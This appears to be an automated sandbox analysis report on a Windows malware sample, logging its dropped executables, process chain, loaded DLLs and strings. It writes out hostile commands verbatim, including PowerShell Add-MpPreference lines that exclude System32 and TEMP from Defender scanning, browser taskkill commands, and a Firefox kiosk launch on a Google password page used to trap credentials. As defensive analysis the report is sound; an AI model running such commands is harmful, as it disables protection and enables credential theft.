File created: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2074991253.0000000005976000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090436626.0000000005971000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2075201369.0000000005957000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090342298.000000000597B000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058847163.0000000005237000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058329040.0000000005256000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3071172361.00000000052DF000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3225750739.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210061223.0000000005B96000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005B77000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: RYM16770HTK1NZSZ1PW5P28.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RYM16770HTK1NZSZ1PW5P28.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: sRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeR

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe "C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe "C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe"
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe "C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k ThreadRestartTerminal -s ThreadRestartTerminal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k BackupOfflineDownload -s BackupOfflineDownload
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe "C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe "C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe"
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2140 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d8927e0-9a24-4aca-bba3-0a7c28f42790} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc1dd6cb10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4180 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 2872 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {35958533-be16-4379-b7b3-a0e46a52ccf6} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc2ea51b10 rdd
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe "C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe "C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe "C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe "C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe "C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe "C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe "C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\System32"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\TEMP\"
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2140 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d8927e0-9a24-4aca-bba3-0a7c28f42790} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc1dd6cb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4180 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 2872 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {35958533-be16-4379-b7b3-a0e46a52ccf6} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc2ea51b10 rdd

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
